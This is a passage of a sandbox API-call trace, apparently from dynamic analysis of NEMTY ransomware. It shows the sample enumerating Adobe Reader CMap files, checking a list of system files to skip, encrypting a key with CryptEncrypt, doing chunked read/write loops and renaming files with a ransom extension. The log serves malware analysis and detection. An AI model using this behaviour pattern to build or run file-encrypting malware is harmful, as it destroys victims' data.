lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.937] CloseHandle (hObject=0xffffffff) returned 0 [0212.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.938] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-h._nemty_kgobjgd_")) returned 0 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.938] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-V", cAlternateFileName="UN275C~1")) returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2=".") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="..") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="...") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="windows") returned -1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="$RECYCLE.BIN") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="rsa") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="NTDETECT.COM") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="ntldr") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="MSDOS.SYS") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="IO.SYS") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="boot.ini") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="boot.ini") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="AUTOEXEC.BAT") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="ntuser.dat") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="desktop.ini") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="CONFIG.SYS") returned 1 [0212.938] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="RECYCLER") returned 1 [0212.939] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="BOOTSECT.BAK") returned 1 [0212.939] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="bootmgr") returned 1 [0212.939] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="programdata") returned 1 [0212.939] lstrcmpiW (lpString1="UniJIS-UTF16-V", lpString2="appdata") returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0212.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0212.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0212.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.939] Sleep (dwMilliseconds=0x5) [0212.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32915570, dwHighDateTime=0x1d561e8)) [0212.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32915570, dwHighDateTime=0x1d561e8)) [0212.954] GetLastError () returned 0x5 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.954] GetLastError () returned 0x5 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.954] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0212.954] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="iD9Y+TpSBwYwv2opRHiy3/e7znxE9durRr1PKP+APFBSXDe/I+rERavMYN2N6/cK\r\n4WmkKhxOw2QI2soMpNyZeKl6ERSo/enIqq2K3sv7cld1PKRJ/cAAuK2fcirMSgpW\r\ns9Va4vZIusZvfHEAVLO1Q7I7s+j/QSmEtedo1tEfNGEzpVNKjjxBFfnk8siHIFAs\r\nAOVoOhsslmNaYSSLcEVABMWNshd15413GCtmtzQ+iCqjbjzf1oaNuI7xLuGThBwe\r\nGqQnwfO5X0xKMTvM9zDP5yQ5bG6DL/zoEkd9f8d81rvdcz7iOmi3wwC8YBXestpJ\r\njbLFUYKNYWwfyQjUKOBZew==\r\n", pcchString=0x653e91c) returned 1 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0212.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0212.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.954] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.021] 